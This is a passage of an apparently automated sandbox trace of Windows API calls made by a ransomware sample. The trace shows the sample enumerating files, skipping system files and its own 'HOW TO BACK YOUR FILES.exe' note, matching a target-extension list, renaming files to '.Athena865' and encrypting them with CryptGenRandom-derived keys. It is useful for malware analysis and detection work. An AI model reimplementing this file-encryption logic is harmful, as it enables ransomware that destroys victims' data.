NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt.athena865"), dwFlags=0x1) returned 1 [0091.782] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.782] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1665878) returned 1 [0091.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0091.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.782] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.783] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.783] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.783] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x196e60, lpName=0x0) returned 0x154 [0091.785] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x196e60) returned 0x2d50000 [0091.854] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.855] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.855] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.856] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0091.870] CloseHandle (hObject=0x154) returned 1 [0091.870] CloseHandle (hObject=0x17c) returned 1 [0091.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0091.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.877] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b57f5f, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72b57f5f, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x736c12b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160e36, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedShuangPin.txt", cAlternateFileName="")) returned 1 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".") returned 1 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="..") returned 1 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="windows") returned -1 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="bootmgr") returned 1 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="temp") returned -1 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="pagefile.sys") returned 1 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="boot") returned 1 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="ids.txt") returned 1 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="ntuser.dat") returned 1 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="perflogs") returned 1 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="MSBuild") returned 1 [0091.877] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39 [0091.877] lstrcpyW (in: lpString1=0x241e8a2, lpString2="TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="TableTextServiceSimplifiedShuangPin.txt") returned="TableTextServiceSimplifiedShuangPin.txt" [0091.877] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39 [0091.877] lstrlenW (lpString="Athena865") returned 9 [0091.877] lstrcmpiW (lpString1="ngPin.txt", lpString2="Athena865") returned 1 [0091.877] lstrlenW (lpString=".dll") returned 4 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".dll") returned 1 [0091.877] lstrlenW (lpString=".lnk") returned 4 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".lnk") returned 1 [0091.877] lstrlenW (lpString=".ini") returned 4 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".ini") returned 1 [0091.877] lstrlenW (lpString=".sys") returned 4 [0091.877] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".sys") returned 1 [0091.878] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39 [0091.878] lstrlenW (lpString="bak") returned 3 [0091.878] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0091.878] lstrlenW (lpString="ba_") returned 3 [0091.878] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0091.878] lstrlenW (lpString="dbb") returned 3 [0091.878] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0091.878] lstrlenW (lpString="vmdk") returned 4 [0091.878] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0091.878] lstrlenW (lpString="rar") returned 3 [0091.878] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0091.878] lstrlenW (lpString="zip") returned 3 [0091.878] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0091.878] lstrlenW (lpString="tgz") returned 3 [0091.878] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0091.878] lstrlenW (lpString="vbox") returned 4 [0091.878] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0091.878] lstrlenW (lpString="vdi") returned 3 [0091.878] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0091.878] lstrlenW (lpString="vhd") returned 3 [0091.878] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0091.878] lstrlenW (lpString="vhdx") returned 4 [0091.878] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0091.878] lstrlenW (lpString="avhd") returned 4 [0091.878] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0091.878] lstrlenW (lpString="db") returned 2 [0091.878] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0091.878] lstrlenW (lpString="db2") returned 3 [0091.878] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0091.878] lstrlenW (lpString="db3") returned 3 [0091.878] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0091.878] lstrlenW (lpString="dbf") returned 3 [0091.878] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0091.879] lstrlenW (lpString="mdf") returned 3 [0091.879] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0091.879] lstrlenW (lpString="mdb") returned 3 [0091.879] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0091.879] lstrlenW (lpString="sql") returned 3 [0091.879] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0091.879] lstrlenW (lpString="sqlite") returned 6 [0091.879] lstrcmpiW (lpString1="in.txt", lpString2="sqlite") returned -1 [0091.879] lstrlenW (lpString="sqlite3") returned 7 [0091.879] lstrcmpiW (lpString1="Pin.txt", lpString2="sqlite3") returned -1 [0091.879] lstrlenW (lpString="sqlitedb") returned 8 [0091.879] lstrcmpiW (lpString1="gPin.txt", lpString2="sqlitedb") returned -1 [0091.879] lstrlenW (lpString="xml") returned 3 [0091.879] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0091.879] lstrlenW (lpString="$er") returned 3 [0091.879] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0091.879] lstrlenW (lpString="4dd") returned 3 [0091.879] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0091.879] lstrlenW (lpString="4dl") returned 3 [0091.879] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0091.879] lstrlenW (lpString="^^^") returned 3 [0091.879] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0091.879] lstrlenW (lpString="abs") returned 3 [0091.879] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0091.879] lstrlenW (lpString="abx") returned 3 [0091.879] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0091.879] lstrlenW (lpString="accdb") returned 5 [0091.879] lstrcmpiW (lpString1="n.txt", lpString2="accdb") returned 1 [0091.879] lstrlenW (lpString="accdc") returned 5 [0091.879] lstrcmpiW (lpString1="n.txt", lpString2="accdc") returned 1 [0091.879] lstrlenW (lpString="accde") returned 5 [0091.879] lstrcmpiW (lpString1="n.txt", lpString2="accde") returned 1 [0091.880] lstrlenW (lpString="accdr") returned 5 [0091.880] lstrcmpiW (lpString1="n.txt", lpString2="accdr") returned 1 [0091.880] lstrlenW (lpString="accdt") returned 5 [0091.880] lstrcmpiW (lpString1="n.txt", lpString2="accdt") returned 1 [0091.880] lstrlenW (lpString="accdw") returned 5 [0091.880] lstrcmpiW (lpString1="n.txt", lpString2="accdw") returned 1 [0091.880] lstrlenW (lpString="accft") returned 5 [0091.880] lstrcmpiW (lpString1="n.txt", lpString2="accft") returned 1 [0091.880] lstrlenW (lpString="adb") returned 3 [0091.880] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0091.880] lstrlenW (lpString="adb") returned 3 [0091.880] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0091.880] lstrlenW (lpString="ade") returned 3 [0091.880] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0091.880] lstrlenW (lpString="adf") returned 3 [0091.880] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0091.880] lstrlenW (lpString="adn") returned 3 [0091.880] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0091.880] lstrlenW (lpString="adp") returned 3 [0091.880] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1 [0091.880] lstrlenW (lpString="alf") returned 3 [0091.880] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0091.880] lstrlenW (lpString="ask") returned 3 [0091.880] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0091.880] lstrlenW (lpString="btr") returned 3 [0091.880] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0091.880] lstrlenW (lpString="cat") returned 3 [0091.880] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0091.880] lstrlenW (lpString="cdb") returned 3 [0091.880] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0091.880] lstrlenW (lpString="ckp") returned 3 [0091.880] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0091.881] lstrlenW (lpString="cma") returned 3 [0091.881] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0091.881] lstrlenW (lpString="cpd") returned 3 [0091.881] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0091.881] lstrlenW (lpString="dacpac") returned 6 [0091.881] lstrcmpiW (lpString1="in.txt", lpString2="dacpac") returned 1 [0091.881] lstrlenW (lpString="dad") returned 3 [0091.881] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0091.881] lstrlenW (lpString="dadiagrams") returned 10 [0091.881] lstrcmpiW (lpString1="angPin.txt", lpString2="dadiagrams") returned -1 [0091.881] lstrlenW (lpString="daschema") returned 8 [0091.881] lstrcmpiW (lpString1="gPin.txt", lpString2="daschema") returned 1 [0091.881] lstrlenW (lpString="db-journal") returned 10 [0091.881] lstrcmpiW (lpString1="angPin.txt", lpString2="db-journal") returned -1 [0091.881] lstrlenW (lpString="db-shm") returned 6 [0091.881] lstrcmpiW (lpString1="in.txt", lpString2="db-shm") returned 1 [0091.881] lstrlenW (lpString="db-wal") returned 6 [0091.881] lstrcmpiW (lpString1="in.txt", lpString2="db-wal") returned 1 [0091.881] lstrlenW (lpString="dbc") returned 3 [0091.881] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0091.881] lstrlenW (lpString="dbs") returned 3 [0091.881] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0091.881] lstrlenW (lpString="dbt") returned 3 [0091.881] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1 [0091.881] lstrlenW (lpString="dbv") returned 3 [0091.881] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0091.881] lstrlenW (lpString="dbx") returned 3 [0091.881] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0091.881] lstrlenW (lpString="dcb") returned 3 [0091.881] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0091.882] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt.Athena865") returned 94 [0091.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedshuangpin.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedshuangpin.txt.athena865"), dwFlags=0x1) returned 1 [0091.883] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedshuangpin.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.883] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1445430) returned 1 [0091.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0091.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.884] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.884] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.884] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.885] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x161140, lpName=0x0) returned 0x154 [0091.886] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x161140) returned 0x2d50000 [0091.942] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.943] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.943] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.944] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0091.965] CloseHandle (hObject=0x154) returned 1 [0091.965] CloseHandle (hObject=0x17c) returned 1 [0091.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0091.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.971] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ba4219, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72ba4219, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b9fb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedZhengMa.txt", cAlternateFileName="")) returned 1 [0091.971] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.971] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.971] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".") returned 1 [0091.971] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="..") returned 1 [0091.971] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="windows") returned -1 [0091.971] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="bootmgr") returned 1 [0091.971] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="temp") returned -1 [0091.971] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="pagefile.sys") returned 1 [0091.971] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="boot") returned 1 [0091.972] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="ids.txt") returned 1 [0091.972] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="ntuser.dat") returned 1 [0091.972] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="perflogs") returned 1 [0091.972] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="MSBuild") returned 1 [0091.972] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37 [0091.972] lstrcpyW (in: lpString1=0x241e8a2, lpString2="TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="TableTextServiceSimplifiedZhengMa.txt") returned="TableTextServiceSimplifiedZhengMa.txt" [0091.972] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37 [0091.972] lstrlenW (lpString="Athena865") returned 9 [0091.972] lstrcmpiW (lpString1="engMa.txt", lpString2="Athena865") returned 1 [0091.972] lstrlenW (lpString=".dll") returned 4 [0091.972] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".dll") returned 1 [0091.972] lstrlenW (lpString=".lnk") returned 4 [0091.972] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".lnk") returned 1 [0091.972] lstrlenW (lpString=".ini") returned 4 [0091.972] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".ini") returned 1 [0091.972] lstrlenW (lpString=".sys") returned 4 [0091.972] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".sys") returned 1 [0091.972] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37 [0091.972] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt.Athena865") returned 92 [0091.972] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt.athena865"), dwFlags=0x1) returned 1 [0091.985] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.985] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1810352) returned 1 [0091.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0091.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.986] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.986] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.986] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.987] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ba2b0, lpName=0x0) returned 0x154 [0091.989] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ba2b0) returned 0x2d50000 [0092.072] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0092.073] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.073] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0092.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0092.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0092.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.074] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.074] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.074] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0092.089] CloseHandle (hObject=0x154) returned 1 [0092.089] CloseHandle (hObject=0x17c) returned 1 [0092.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0092.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0092.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.097] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d6d275, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d6d275, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1 [0092.097] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.097] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.097] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".") returned 1 [0092.097] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="..") returned 1 [0092.097] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="windows") returned -1 [0092.097] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="bootmgr") returned 1 